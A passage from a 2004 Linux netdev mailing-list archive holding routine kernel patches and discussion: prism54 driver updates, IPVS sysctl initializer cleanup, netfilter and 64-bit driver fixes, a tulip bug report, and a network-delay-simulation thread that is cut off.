+++ b/drivers/net/wireless/prism54/isl_ioctl.c Wed Mar 17 04:47:33 2004 @@ -25,6 +25,7 @@ #include #include #include +#include #include @@ -44,26 +45,26 @@ static int init_conformance = CARD_DEFAULT_CONFORMANCE; static int init_mlme = CARD_DEFAULT_MLME_MODE; -MODULE_PARM(init_mode, "i"); +module_param(init_mode, int, 0); MODULE_PARM_DESC(init_mode, "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client (Default)\n3: Master / Access Point\n4: Repeater (Not supported yet)\n5: Secondary (Not supported yet)\n6: Monitor"); -MODULE_PARM(init_channel, "i"); +module_param(init_channel, int, 0); MODULE_PARM_DESC(init_channel, "Check `iwpriv ethx channel` for available channels"); -MODULE_PARM(init_wep, "i"); -MODULE_PARM(init_filter, "i"); +module_param(init_wep, int, 0); +module_param(init_filter, int, 0); -MODULE_PARM(init_authen, "i"); +module_param(init_authen, int, 0); MODULE_PARM_DESC(init_authen, "Authentication method. Can be of seven types:\n0 0x0000: None\n1 0x0001: DOT11_AUTH_OS (Default)\n2 0x0002: DOT11_AUTH_SK\n3 0x0003: DOT11_AUTH_BOTH"); -MODULE_PARM(init_dot1x, "i"); +module_param(init_dot1x, int, 0); MODULE_PARM_DESC(init_dot1x, "\n0: None/not set (Default)\n1: DOT11_DOT1X_AUTHENABLED\n2: DOT11_DOT1X_KEYTXENABLED"); -MODULE_PARM(init_mlme, "i"); +module_param(init_mlme, int, 0); MODULE_PARM_DESC(init_mlme, "Sets the MAC layer management entity (MLME) mode of operation,\n0: DOT11_MLME_AUTO (Default)\n1: DOT11_MLME_INTERMEDIATE\n2: DOT11_MLME_EXTENDED"); @@ -1944,16 +1945,70 @@ prism54_get_wpa(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); *uwrq = priv->wpa; return 0; } int +prism54_set_maxframeburst(struct net_device *ndev, struct iw_request_info *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv = netdev_priv(ndev); + u32 max_burst; + + max_burst = (*uwrq) ? *uwrq : CARD_DEFAULT_MAXFRAMEBURST; + mgt_set_request(priv, DOT11_OID_MAXFRAMEBURST, 0, &max_burst); + + return -EINPROGRESS; /* Call commit handler */ +} + +int +prism54_get_maxframeburst(struct net_device *ndev, struct iw_request_info *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv = netdev_priv(ndev); + union oid_res_t r; + int rvalue; + + rvalue = mgt_get_request(priv, DOT11_OID_MAXFRAMEBURST, 0, NULL, &r); + *uwrq = r.u; + + return rvalue; +} + +int +prism54_set_profile(struct net_device *ndev, struct iw_request_info *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv = netdev_priv(ndev); + u32 profile; + + profile = (*uwrq) ? *uwrq : CARD_DEFAULT_PROFILE; + mgt_set_request(priv, DOT11_OID_PROFILES, 0, &profile); + + return -EINPROGRESS; /* Call commit handler */ +} + +int +prism54_get_profile(struct net_device *ndev, struct iw_request_info *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv = netdev_priv(ndev); + union oid_res_t r; + int rvalue; + + rvalue = mgt_get_request(priv, DOT11_OID_PROFILES, 0, NULL, &r); + *uwrq = r.u; + + return rvalue; +} + +int prism54_oid(struct net_device *ndev, struct iw_request_info *info, __u32 *uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); priv->priv_oid = *uwrq; printk("%s: oid 0x%08X\n", ndev->name, *uwrq); diff -Nru a/drivers/net/wireless/prism54/isl_oid.h b/drivers/net/wireless/prism54/isl_oid.h --- a/drivers/net/wireless/prism54/isl_oid.h Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/prism54/isl_oid.h Wed Mar 17 04:47:33 2004 @@ -1,7 +1,8 @@ /* - * $Id: isl_oid.h,v 1.2 2004/01/30 16:24:00 ajfa Exp $ + * $Id: isl_oid.h,v 1.3 2004/03/09 09:05:27 mcgrof Exp $ * * Copyright (C) 2003 Herbert Valerio Riedel + * Copyright (C) 2004 Luis R. Rodriguez * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -142,15 +143,131 @@ DOT11_PRIV_TKIP = 1 }; +/* Prism "Nitro" / Frameburst / "Packet Frame Grouping" + * Value is in microseconds. Represents the # microseconds + * the firmware will take to group frames before sending out then out + * together with a CSMA contention. Without this all frames are + * sent with a CSMA contention. + * Bibliography: + * http://www.hpl.hp.com/personal/Jean_Tourrilhes/Papers/Packet.Frame.Grouping.html + */ +enum dot11_maxframeburst_t { + /* Values for DOT11_OID_MAXFRAMEBURST */ + DOT11_MAXFRAMEBURST_OFF = 0, /* Card firmware default */ + DOT11_MAXFRAMEBURST_MIXED_SAFE = 650, /* 802.11 a,b,g safe */ + DOT11_MAXFRAMEBURST_IDEAL = 1300, /* Theoretical ideal level */ + DOT11_MAXFRAMEBURST_MAX = 5000, /* Use this as max, + * Note: firmware allows for greater values. This is a + * recommended max. I'll update this as I find + * out what the real MAX is. Also note that you don't necessarily + * get better results with a greater value here. + */ +}; + +/* Support for 802.11 long and short frame preambles. + * Long preamble uses 128-bit sync field, 8-bit CRC + * Short preamble uses 56-bit sync field, 16-bit CRC + * + * 802.11a -- not sure, both optionally ? + * 802.11b supports long and optionally short + * 802.11g supports both */ +enum dot11_preamblesettings_t { + DOT11_PREAMBLESETTING_LONG = 0, + /* Allows *only* long 802.11 preambles */ + DOT11_PREAMBLESETTING_SHORT = 1, + /* Allows *only* short 802.11 preambles */ + DOT11_PREAMBLESETTING_DYNAMIC = 2 + /* AutomatiGically set */ +}; + +/* Support for 802.11 slot timing (time between packets). + * + * Long uses 802.11a slot timing (9 usec ?) + * Short uses 802.11b slot timing (20 use ?) */ +enum dot11_slotsettings_t { + DOT11_SLOTSETTINGS_LONG = 0, + /* Allows *only* long 802.11b slot timing */ + DOT11_SLOTSETTINGS_SHORT = 1, + /* Allows *only* long 802.11a slot timing */ + DOT11_SLOTSETTINGS_DYNAMIC = 2 + /* AutomatiGically set */ +}; + +/* All you need to know, ERP is "Extended Rate PHY". + * An Extended Rate PHY (ERP) STA or AP shall support three different + * preamble and header formats: + * Long preamble (refer to above) + * Short preamble (refer to above) + * OFDM preamble ( ? ) + * + * I'm assuming here Protection tells the AP + * to be careful, a STA which cannot handle the long pre-amble + * has joined. + */ +enum do11_nonerpstatus_t { + DOT11_ERPSTAT_NONEPRESENT = 0, + DOT11_ERPSTAT_USEPROTECTION = 1 +}; + +/* (ERP is "Extended Rate PHY") Way to read NONERP is NON-ERP-* + * The key here is DOT11 NON ERP NEVER protects against + * NON ERP STA's. You *don't* want this unless + * you know what you are doing. It means you will only + * get Extended Rate capabilities */ +enum dot11_nonerpprotection_t { + DOT11_NONERP_NEVER = 0, + DOT11_NONERP_ALWAYS = 1, + DOT11_NONERP_DYNAMIC = 2 +}; + +/* Preset OID configuration for 802.11 modes + * Note: DOT11_OID_CW[MIN|MAX] hold the values of the + * DCS MIN|MAX backoff used */ +enum dot11_profile_t { /* And set/allowed values */ + /* Allowed values for DOT11_OID_PROFILES */ + DOT11_PROFILE_B_ONLY = 0, + /* DOT11_OID_RATES: 1, 2, 5.5, 11Mbps + * DOT11_OID_PREAMBLESETTINGS: DOT11_PREAMBLESETTING_DYNAMIC + * DOT11_OID_CWMIN: 31 + * DOT11_OID_NONEPROTECTION: DOT11_NOERP_DYNAMIC + * DOT11_OID_SLOTSETTINGS: DOT11_SLOTSETTINGS_LONG + */ + DOT11_PROFILE_MIXED_G_WIFI = 1, + /* DOT11_OID_RATES: 1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54Mbs + * DOT11_OID_PREAMBLESETTINGS: DOT11_PREAMBLESETTING_DYNAMIC + * DOT11_OID_CWMIN: 15 + * DOT11_OID_NONEPROTECTION: DOT11_NOERP_DYNAMIC + * DOT11_OID_SLOTSETTINGS: DOT11_SLOTSETTINGS_DYNAMIC + */ + DOT11_PROFILE_MIXED_LONG = 2, /* "Long range" */ + /* Same as Profile MIXED_G_WIFI */ + DOT11_PROFILE_G_ONLY = 3, + /* Same as Profile MIXED_G_WIFI */ + DOT11_PROFILE_TEST = 4, + /* Same as Profile MIXED_G_WIFI except: + * DOT11_OID_PREAMBLESETTINGS: DOT11_PREAMBLESETTING_SHORT + * DOT11_OID_NONEPROTECTION: DOT11_NOERP_NEVER + * DOT11_OID_SLOTSETTINGS: DOT11_SLOTSETTINGS_SHORT + */ + DOT11_PROFILE_B_WIFI = 5, + /* Same as Profile B_ONLY */ + DOT11_PROFILE_A_ONLY = 6, + /* Same as Profile MIXED_G_WIFI except: + * DOT11_OID_RATES: 6, 9, 12, 18, 24, 36, 48, 54Mbs + */ + DOT11_PROFILE_MIXED_SHORT = 7 + /* Same as MIXED_G_WIFI */ +}; + + /* The dot11d conformance level configures the 802.11d conformance levels. * The following conformance levels exist:*/ enum oid_inl_conformance_t { OID_INL_CONFORMANCE_NONE = 0, /* Perform active scanning */ OID_INL_CONFORMANCE_STRICT = 1, /* Strictly adhere to 802.11d */ OID_INL_CONFORMANCE_FLEXIBLE = 2, /* Use passed 802.11d info to - * determine channel AND/OR just make - * assumption that active - * channels are valid channels */ + * determine channel AND/OR just make assumption that active + * channels are valid channels */ }; enum oid_inl_mode_t { @@ -176,6 +293,7 @@ INL_PHYCAP_FAA = 0x80000000, /* Means card supports the FAA switch */ }; + enum oid_num_t { GEN_OID_MACADDRESS = 0, GEN_OID_LINKSTATE, @@ -269,8 +387,8 @@ DOT11_OID_FRAMEABORTSPHY, DOT11_OID_SLOTTIME, - DOT11_OID_CWMIN, - DOT11_OID_CWMAX, + DOT11_OID_CWMIN, /* MIN DCS backoff */ + DOT11_OID_CWMAX, /* MAX DCS backoff */ DOT11_OID_ACKWINDOW, DOT11_OID_ANTENNARX, DOT11_OID_ANTENNATX, diff -Nru a/drivers/net/wireless/prism54/islpci_eth.c b/drivers/net/wireless/prism54/islpci_eth.c --- a/drivers/net/wireless/prism54/islpci_eth.c Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/prism54/islpci_eth.c Wed Mar 17 04:47:33 2004 @@ -63,6 +63,7 @@ priv->pci_map_tx_address[index], skb->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq(skb); + skb = NULL; } /* increment the free data low queue pointer */ priv->free_data_tx++; @@ -238,6 +239,7 @@ drop_free: /* free the skbuf structure before aborting */ dev_kfree_skb(skb); + skb = NULL; priv->statistics.tx_dropped++; spin_unlock_irqrestore(&priv->slock, flags); @@ -346,8 +348,10 @@ skb->data[0], skb->data[1], skb->data[2], skb->data[3], skb->data[4], skb->data[5]); #endif - if (discard) + if (discard) { dev_kfree_skb(skb); + skb = NULL; + } else netif_rx(skb); @@ -388,6 +392,7 @@ /* free the skbuf structure before aborting */ dev_kfree_skb((struct sk_buff *) skb); + skb = NULL; break; } /* update the fragment address */ diff -Nru a/drivers/net/wireless/prism54/islpci_hotplug.c b/drivers/net/wireless/prism54/islpci_hotplug.c --- a/drivers/net/wireless/prism54/islpci_hotplug.c Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/prism54/islpci_hotplug.c Wed Mar 17 04:47:33 2004 @@ -29,10 +29,10 @@ #include "isl_oid.h" #define DRV_NAME "prism54" -#define DRV_VERSION "1.0.2.2" +#define DRV_VERSION "1.1" -MODULE_AUTHOR("W.Termorshuizen, R.Bastings, H.V.Riedel, prism54.org team"); -MODULE_DESCRIPTION("Intersil 802.11 Wireless LAN adapter"); +MODULE_AUTHOR("[Intersil] R.Bastings and W.Termorshuizen, The prism54.org Development Team "); +MODULE_DESCRIPTION("The Prism54 802.11 Wireless LAN adapter"); MODULE_LICENSE("GPL"); /* In this order: vendor, device, subvendor, subdevice, class, class_mask, @@ -97,6 +97,11 @@ 0, 0, (unsigned long) "SMC 2802Wv2"}, { + PCIVENDOR_INTERSIL, PCIDEVICE_ISL3890, + PCIVENDOR_SMC, 0xa835UL, + 0, 0, + (unsigned long) "SMC 2835Wv2"}, + { PCIVENDOR_INTERSIL, PCIDEVICE_ISL3877, PCI_ANY_ID, PCI_ANY_ID, 0, 0, @@ -158,6 +163,9 @@ break; case 0x2835UL: modelp = "SMC2835W"; + break; + case 0xa835UL: + modelp = "SMC2835W V2"; break; /* Let's leave this one out for now since it seems bogus/wrong * Even if the manufacturer did use 0x0000UL it may not be correct diff -Nru a/drivers/net/wireless/prism54/islpci_mgt.c b/drivers/net/wireless/prism54/islpci_mgt.c --- a/drivers/net/wireless/prism54/islpci_mgt.c Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/prism54/islpci_mgt.c Wed Mar 17 04:47:33 2004 @@ -22,6 +22,7 @@ #include #include #include +#include #include #include @@ -38,7 +39,7 @@ Global variable definition section ******************************************************************************/ int pc_debug = VERBOSE; -MODULE_PARM(pc_debug, "i"); +module_param(pc_debug, int, 0); /****************************************************************************** Driver general functions diff -Nru a/drivers/net/wireless/prism54/islpci_mgt.h b/drivers/net/wireless/prism54/islpci_mgt.h --- a/drivers/net/wireless/prism54/islpci_mgt.h Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/prism54/islpci_mgt.h Wed Mar 17 04:47:33 2004 @@ -87,11 +87,13 @@ #define CARD_DEFAULT_KEY4 "default_key_4" #define CARD_DEFAULT_WEP 0 #define CARD_DEFAULT_FILTER 0 -# define CARD_DEFAULT_WDS 0 +#define CARD_DEFAULT_WDS 0 #define CARD_DEFAULT_AUTHEN DOT11_AUTH_OS #define CARD_DEFAULT_DOT1X 0 #define CARD_DEFAULT_MLME_MODE DOT11_MLME_AUTO #define CARD_DEFAULT_CONFORMANCE OID_INL_CONFORMANCE_NONE +#define CARD_DEFAULT_PROFILE DOT11_PROFILE_MIXED_G_WIFI +#define CARD_DEFAULT_MAXFRAMEBURST DOT11_MAXFRAMEBURST_MIXED_SAFE /* PIMFOR package definitions */ #define PIMFOR_ETHERTYPE 0x8828 diff -Nru a/drivers/net/wireless/prism54/oid_mgt.c b/drivers/net/wireless/prism54/oid_mgt.c --- a/drivers/net/wireless/prism54/oid_mgt.c Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/prism54/oid_mgt.c Wed Mar 17 04:47:33 2004 @@ -97,7 +97,7 @@ [DOT11_OID_ALOFT_CONFIG] = OID_UNKNOWN(0x1d000006), [DOT11_OID_VDCFX] = {0x1b000000, 7, 0, 0}, - [DOT11_OID_MAXFRAMEBURST] = OID_U32(0x1b000008), + [DOT11_OID_MAXFRAMEBURST] = OID_U32(0x1b000008), /* in microseconds */ [DOT11_OID_PSM] = OID_U32(0x14000000), [DOT11_OID_CAMTIMEOUT] = OID_U32(0x14000001), --------------050609010905000107010904-- From ahaas@airmail.net Wed Mar 17 02:08:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 02:08:49 -0800 (PST) Received: from covert.brown-ring.iadfw.net (covert.brown-ring.iadfw.net [209.196.123.142]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HA8jKO008380 for ; Wed, 17 Mar 2004 02:08:46 -0800 Received: from pppte04-034.ght.iadfw.net ([66.94.134.34] helo=pcdebian) by covert.iadfw.net with esmtp (Exim 4.10) id 1B3Jl7-0001h3-00 for netdev@oss.sgi.com; Tue, 16 Mar 2004 12:57:50 -0600 Received: (qmail 19392 invoked by uid 1000); 16 Mar 2004 18:56:28 -0000 From: "Art Haas" Date: Tue, 16 Mar 2004 12:56:28 -0600 To: Wensong Zhang , "David S. Miller" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [PATCH] C99 initializers for net/ipv4/ipvs/ip_vs_lblcr.c Message-ID: <20040316185628.GC12996@artsapartment.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4075 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahaas@airmail.net Precedence: bulk X-list: netdev Content-Length: 2732 Lines: 103 Hi. Here's the last of the three patches adding C99 initializers. This patch splits a structure up, and is against the current BK. Art Haas ===== net/ipv4/ipvs/ip_vs_lblcr.c 1.8 vs edited ===== --- 1.8/net/ipv4/ipvs/ip_vs_lblcr.c Wed Feb 18 15:03:53 2004 +++ edited/net/ipv4/ipvs/ip_vs_lblcr.c Tue Mar 16 11:49:49 2004 @@ -297,29 +297,50 @@ /* * IPVS LBLCR sysctl table */ -struct ip_vs_lblcr_sysctl_table { - struct ctl_table_header *sysctl_header; - ctl_table vs_vars[2]; - ctl_table vs_dir[2]; - ctl_table ipv4_dir[2]; - ctl_table root_dir[2]; + +static ctl_table vs_vars_table[] = { + { + .ctl_name = NET_IPV4_VS_LBLCR_EXPIRE, + .procname = "lblcr_expiration", + .data = &sysctl_ip_vs_lblcr_expiration, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { .ctl_name = 0 } +}; + +static ctl_table vs_table[] = { + { + .ctl_name = NET_IPV4_VS, + .procname = "vs", + .mode = 0555, + .child = vs_vars_table + }, + { .ctl_name = 0 } }; +static ctl_table ipv4_table[] = { + { + .ctl_name = NET_IPV4, + .procname = "ipv4", + .mode = 0555, + .child = vs_table + }, + { .ctl_name = 0 } +}; -static struct ip_vs_lblcr_sysctl_table lblcr_sysctl_table = { - NULL, - {{NET_IPV4_VS_LBLCR_EXPIRE, "lblcr_expiration", - &sysctl_ip_vs_lblcr_expiration, - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {0}}, - {{NET_IPV4_VS, "vs", NULL, 0, 0555, lblcr_sysctl_table.vs_vars}, - {0}}, - {{NET_IPV4, "ipv4", NULL, 0, 0555, lblcr_sysctl_table.vs_dir}, - {0}}, - {{CTL_NET, "net", NULL, 0, 0555, lblcr_sysctl_table.ipv4_dir}, - {0}} +static ctl_table lblcr_root_table[] = { + { + .ctl_name = CTL_NET, + .procname = "net", + .mode = 0555, + .child = ipv4_table + }, + { .ctl_name = 0 } }; +static struct ctl_table_header * sysctl_header; /* * new/free a ip_vs_lblcr_entry, which is a mapping of a destination @@ -844,8 +865,7 @@ static int __init ip_vs_lblcr_init(void) { INIT_LIST_HEAD(&ip_vs_lblcr_scheduler.n_list); - lblcr_sysctl_table.sysctl_header = - register_sysctl_table(lblcr_sysctl_table.root_dir, 0); + sysctl_header = register_sysctl_table(lblcr_root_table, 0); #ifdef CONFIG_IP_VS_LBLCR_DEBUG proc_net_create("ip_vs_lblcr", 0, ip_vs_lblcr_getinfo); #endif @@ -858,7 +878,7 @@ #ifdef CONFIG_IP_VS_LBLCR_DEBUG proc_net_remove("ip_vs_lblcr"); #endif - unregister_sysctl_table(lblcr_sysctl_table.sysctl_header); + unregister_sysctl_table(sysctl_header); unregister_ip_vs_scheduler(&ip_vs_lblcr_scheduler); } -- Man once surrendering his reason, has no remaining guard against absurdities the most monstrous, and like a ship without rudder, is the sport of every wind. -Thomas Jefferson to James Smith, 1822 From sergiomb@netcabo.pt Wed Mar 17 03:21:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 03:21:06 -0800 (PST) Received: from relay1.fe.up.pt (no-access-servers.fe.up.pt [193.136.33.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HBKwKO015206 for ; Wed, 17 Mar 2004 03:20:59 -0800 Received: from [192.168.53.50] ([192.168.53.50]) by relay1.fe.up.pt (8.12.9p10/8.12.4) with ESMTP id i2HBKpgL007350; Wed, 17 Mar 2004 11:20:51 GMT Subject: netfilter.diff resend From: =?ISO-8859-1?Q?S=E9rgio?= Monteiro Basto Reply-To: sergiomb@netcabo.pt To: netdev@oss.sgi.com, linux-net@vger.kernel.org Content-Type: multipart/mixed; boundary="=-hABst8yhzjr25jBuO5Zy" Message-Id: <1079522450.2630.5.camel@darkstar> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 17 Mar 2004 11:20:51 +0000 X-archive-position: 4076 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sergiomb@netcabo.pt Precedence: bulk X-list: netdev Content-Length: 1956 Lines: 59 --=-hABst8yhzjr25jBuO5Zy Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by relay1.fe.up.pt id i2HBKpgL007350 Hi Can you apply this patch into kernel-2.4.2x ? for work with IP Masquerade. Reference: http://lists.netfilter.org/pipermail/netfilter-devel/2002-November/009928= .html In begin, I apply this patch on redhat 7.3 box and thought this is a specific problem of RedHat compiler, but I see exactly the same=20 dependency dropped on a slackware-9.1 with kernel 2.4.25 and gcc3.3, do me a favor and apply this mini patch. On Wed, 2004-03-17 at 01:44, David S. Miller wrote:=20 > On Tue, 16 Mar 2004 23:06:10 +0000 > S=E9rgio Monteiro Basto wrote: >=20 > > Marcelo can you apply this patch? for work with IP Masquerade. >=20 > How come the netfilter people have not submitted this patch? > I've never had any problems with the netfilter maintainers > being puntual and sending me the patches that do need to be > included. So please contact Harald Welte and ask him to > submit the patch if you think it's important. >=20 > Also, please use netdev@oss.sgi.com or linux-net@vger.kernel.org > for networking patches and discussion, most net folks don't watch > linux-kernel, thanks. --=20 S=E9rgio M. B. --=-hABst8yhzjr25jBuO5Zy Content-Disposition: attachment; filename=netfilter.diff Content-Type: text/x-patch; name=netfilter.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit --- 2.4.20/include/linux/netfilter_ipv4/ip_conntrack.h.orig Sat May 31 23:22:01 2003 +++ 2.4.20+/include/linux/netfilter_ipv4/ip_conntrack.h Sun Jun 1 00:11:03 2003 @@ -156,7 +156,8 @@ union ip_conntrack_expect_help help; }; -#include +struct ip_conntrack_helper; + struct ip_conntrack { /* Usage count in here is 1 for hash table/destruct timer, 1 per skb, --=-hABst8yhzjr25jBuO5Zy-- From ak@suse.de Wed Mar 17 03:22:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 03:22:30 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HBMRKO015384 for ; Wed, 17 Mar 2004 03:22:28 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 3DCF8310D4B; Wed, 17 Mar 2004 12:22:22 +0100 (CET) Date: Wed, 17 Mar 2004 12:01:17 +0100 From: Andi Kleen To: mikep@linuxtr.net, linux-tr@linuxtr.net, netdev@oss.sgi.com Subject: [PATCH] Mark lanstreamer driver as not 64bit clean Message-Id: <20040317120117.79cb7b78.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4077 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 622 Lines: 20 It does extremly unsafe things with the PCI DMA API and spews some nasty warnings on a 64bit compile. Disable the lanstreamer driver for 64bit hosts for now. -Andi diff -u linux/drivers/net/tokenring/Kconfig-o linux/drivers/net/tokenring/Kconfig --- linux/drivers/net/tokenring/Kconfig-o 1970-01-01 01:12:51.000000000 +0100 +++ linux/drivers/net/tokenring/Kconfig 2004-03-17 11:59:40.000000000 +0100 @@ -54,7 +54,7 @@ config IBMLS tristate "IBM Lanstreamer chipset PCI adapter support" - depends on TR && PCI + depends on TR && PCI && !64BIT help This is support for IBM Lanstreamer PCI Token Ring Cards. From j.natowitz@rcn.com Wed Mar 17 03:33:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 03:33:02 -0800 (PST) Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HBWxKO016124 for ; Wed, 17 Mar 2004 03:33:00 -0800 Received: from 209-6-170-105.c3-0.bkl-ubr1.sbo-bkl.ma.cable.rcn.com ([209.6.170.105] helo=rcn.com) by smtp01.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B3ZIA-0000QT-00; Wed, 17 Mar 2004 06:32:58 -0500 Message-ID: <4058376D.2060409@rcn.com> Date: Wed, 17 Mar 2004 06:33:01 -0500 From: Jerry Natowitz Organization: I don't need to specify an organization. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jgarzik@pobox.com CC: netdev@oss.sgi.com Subject: Possible overwrite in tulip driver >= 2.6.4-mm2 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4078 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: j.natowitz@rcn.com Precedence: bulk X-list: netdev Content-Length: 335 Lines: 8 I'm not experienced in debugging kernels, so all I can do is report that starting in 2.6.4-mm2, I get debugging information from the tulip driver that I never saw before. I've confirmed that tulip_debug *should* be 1, but the presence of debug messages indicate that it is being over-written. -- Jerry Natowitz j.natowitz@rcn.com From ak@suse.de Wed Mar 17 04:08:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 04:09:08 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HC8YKO021295 for ; Wed, 17 Mar 2004 04:08:35 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id C16052FD4F1; Wed, 17 Mar 2004 12:19:54 +0100 (CET) Date: Wed, 17 Mar 2004 11:58:50 +0100 From: Andi Kleen To: netdev@oss.sgi.com, irda-users@lists.sourceforge.net Subject: [PATCH] Fix 64bit warnings in donauboe driver Message-Id: <20040317115850.216e6d1b.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4079 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 811 Lines: 28 Fix a few 64bit warnings in the Donauboe driver. Untested. -Andi diff -u linux/drivers/net/irda/donauboe.c-o linux/drivers/net/irda/donauboe.c --- linux/drivers/net/irda/donauboe.c-o 1970-01-01 01:12:51.000000000 +0100 +++ linux/drivers/net/irda/donauboe.c 2004-03-17 11:56:57.000000000 +0100 @@ -1669,16 +1669,15 @@ /*We need to align the taskfile on a taskfile size boundary */ { - __u32 addr; + unsigned long addr; - addr = (__u32) self->ringbuf; - addr &= ~(OBOE_RING_LEN - 1); + addr = (unsigned long) self->ringbuf; + addr &= ~((unsigned long)OBOE_RING_LEN - 1); addr += OBOE_RING_LEN; self->ring = (struct OboeRing *) addr; } memset (self->ring, 0, OBOE_RING_LEN); - self->io.mem_base = (__u32) self->ring; ok = 1; for (i = 0; i < TX_SLOTS; ++i) From jheffner@psc.edu Wed Mar 17 07:38:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 07:38:07 -0800 (PST) Received: from mailer2.psc.edu (mailer2.psc.edu [128.182.66.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HFc3KO004304 for ; Wed, 17 Mar 2004 07:38:04 -0800 Received: from dexter.psc.edu (dexter.psc.edu [128.182.61.232]) by mailer2.psc.edu (8.12.10/8.12.5) with ESMTP id i2HFbxtb000552 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 17 Mar 2004 10:37:59 -0500 (EST) Received: from dexter.psc.edu (dexter.psc.edu [128.182.61.232]) by dexter.psc.edu (8.12.10/8.12.5) with ESMTP id i2HFbxNV013548; Wed, 17 Mar 2004 10:37:59 -0500 (EST) Date: Wed, 17 Mar 2004 10:37:59 -0500 (EST) From: John Heffner To: "David S. Miller" cc: Stephen Hemminger , Subject: Re: network delay simulation In-Reply-To: <20040316174134.2f1da12a.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 'clamd / ClamAV version 0.66', clamav-milter version '0.60p' X-archive-position: 4080 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jheffner@psc.edu Precedence: bulk X-list: netdev Content-Length: 810 Lines: 22 On Tue, 16 Mar 2004, David S. Miller wrote: > On Tue, 16 Mar 2004 15:10:58 -0800 > Stephen Hemminger wrote: > > > Probably "the cowboy way" would be to right a new net/scheduler to just > > do FIFO delay. > > > > Any ideas/comments? Somebody have some code sitting in a drawer? > > Probably a packet scheduler would be my first choice, you could then even > tag packets using classification and therefore delay differently for different > flows. One insight I had a while ago is that packet pacing and artificial delay require a very similar mechanism. I hacked something a while ago that did this in a general way, though it had some 